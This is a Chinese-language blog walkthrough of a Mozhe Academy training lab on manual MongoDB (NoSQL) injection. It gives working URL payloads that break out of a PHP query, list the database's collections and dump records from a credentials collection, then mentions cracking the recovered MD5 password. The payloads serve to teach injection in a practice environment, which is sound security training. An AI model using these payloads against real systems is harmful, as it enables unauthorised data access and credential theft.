NOSQL MongoDB 注入——本质上还是和sql注入是类似的

墨者学院 - SQL手工注入漏洞测试(MongoDB数据库)

SQL手工注入漏洞测试(MongoDB数据库)

背景介绍

安全工程师"墨者"最近在练习SQL手工注入漏洞,自己刚搭建好一个靶场环境Nginx+PHP+MongoDB,PHP代码对客户端提交的参数未做任何过滤。尽情的练习SQL手工注入吧。

附上源代码截图:

未标题-1.jpg

实训目标

1.掌握SQL注入原理;
2.了解手工注入的方法;
3.了解MongoDB的数据结构;
4.了解字符串的MD5加解密;

解题

手工进行SQL注入测试,获取管理密码登录。

 

# 查看是否有注入点
http://ip/new_list.php?id=1'

# 想办法闭合语句,查看所有集合
# db.getCollectionNames()返回的是数组,需要用tojson转换为字符串。并且mongodb函数区分大小写
http://ip/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),2:'1

类似语句:

 select SCHEMA_NAME from information_schema.SCHEMATA

 

# 查看Authority_confidential集合的第一条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),2:'1

类似语句: 

select TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA='Authority_confidential' 

# 查看Authority_confidential集合的第二条数据
http://ip/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),2:'1

 

得到用户名密码,密码用md5解密

登陆,获得key

posted @   bonelee  阅读(907)  评论(0编辑  收藏  举报
编辑推荐:
· 记一次.NET内存居高不下排查解决与启示
· 探究高空视频全景AR技术的实现原理
· 理解Rust引用及其生命周期标识(上)
· 浏览器原生「磁吸」效果!Anchor Positioning 锚点定位神器解析
· 没有源码,如何修改代码逻辑?
阅读排行:
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了
· DeepSeek 开源周回顾「GitHub 热点速览」
历史上的今天:
2019-06-14 Linux 反弹shell(二)反弹shell的本质
2018-06-14 leetcode 367. Valid Perfect Square
2018-06-14 DGA短域名(360样本) mark下 下次分析可以参考
2018-06-14 cylance做的机器学习相关材料汇总
2017-06-14 KD树——k=1时就是BST,里面的数学原理还是有不明白的地方,为啥方差划分?
2017-06-14 梯度下降法——得到的结果可能是局部最优值,如果凸函数则可保证梯度下降得到的是全局最优值
点击右上角即可分享
微信分享提示